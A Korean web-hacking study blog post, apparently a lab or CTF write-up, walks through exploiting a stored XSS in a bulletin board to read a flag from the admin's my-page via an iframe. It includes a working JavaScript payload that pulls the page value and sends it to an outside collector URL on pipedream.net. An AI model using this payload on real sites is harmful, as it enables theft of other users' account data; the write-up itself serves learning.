3. admin 계정의 마이페이지의 정보란에 flag가 숨겨져있다!
1) XSS 포인트 찾기
게시글 내용에 작성한 특수문자들이 전부 그대로 출력되는 것을 확인할 수 있고 이 부분에서 우리는 XSS 공격을 해볼 수 있습니다.
2) 스크립트 삽입
삽입한 스크립트가 우리가 생각한대로 실행되는 것도 확인했습니다. 그럼 이제 admin계정의 마이페이지에서 정보를 가져오는 스크립트를 작성하면 될 것 같습니다.
3) flag 찾기
XSS 취약점이 발생한 곳은 게시글인데 가져올 정보는 마이페이지에 있습니다.
iframe 태그를 사용하여 게시글에서 마이페이지를 그대로 가져와야할 것 같습니다.
<iframe src="마이페이지 주소"></iframe> 을 게시글 내용에 넣어보겠습니다.
마이페이지도 가져오기 성공!! 이제 Nothing Here... 라는 단어를 가져오는 것을 해보겠습니다.
<input name="info" type="text" id="userInfo" placeholder="Nothing Here..."> 입니다.
class로 Element를 가져오는 것 말고 어떤 것을 사용해도 상관없을 것 같습니다.
id는 하나밖에 존재하지 않기때문에 id로 가져오는 것이 편하기 때문에 id를 사용해서 하겠습니다.
document.getElementById('userInfo')를 사용해주면 됩니다.
Element를 가져오기를 성공했습니다. 원하는 정보는 placeholder에 있습니다.
.placeholder를 사용하면 정보를 가져올 수 있습니다.
이제 원하는 정보의 위치?는 알았습니다. 실제로 보내지는지 확인해보겠습니다.
window.addEventListener("DOMContentLoaded", function() {
var a = document.getElementById('test');
var b = a.contentDocument;
var flag = b.getElementById('userInfo').placeholder;
var i = new Image();
i.src = 'https://en793hi7qhxbd.x.pipedream.net/?flag='+flag;
})
게시글에 접속하면 스크립트가 실행되며 해당 정보를 공격자 서버로 보내줍니다.
이제 관리자가 해당 게시글에만 접속하면 관리자의 마이페이지에 있는 정보를 획득할 수 있습니다.
과제를 통해 XSS 취약점이 발생할 때 사용할 수 있는 스크립트를 확인해보았습니다.
스크립트를 어떻게 작성하냐에 따라 공격 방법은 다양하다는 것 또한 알았습니다.
'웹 해킹' 카테고리의 다른 글
웹 해킹 공부 일기장 9 - 1 (CSRF 정리) (0) | 2024.02.01 |
---|---|
웹 해킹 공부 일기장 8 - 1 (CSRF) (0) | 2024.01.18 |
웹 해킹 공부 일기장 7-과제1 (XSS) (0) | 2024.01.14 |
웹 해킹 공부 일기장 (자바스크립트) (0) | 2024.01.12 |
웹 해킹 공부 일기장 (XSS 정리) (0) | 2024.01.12 |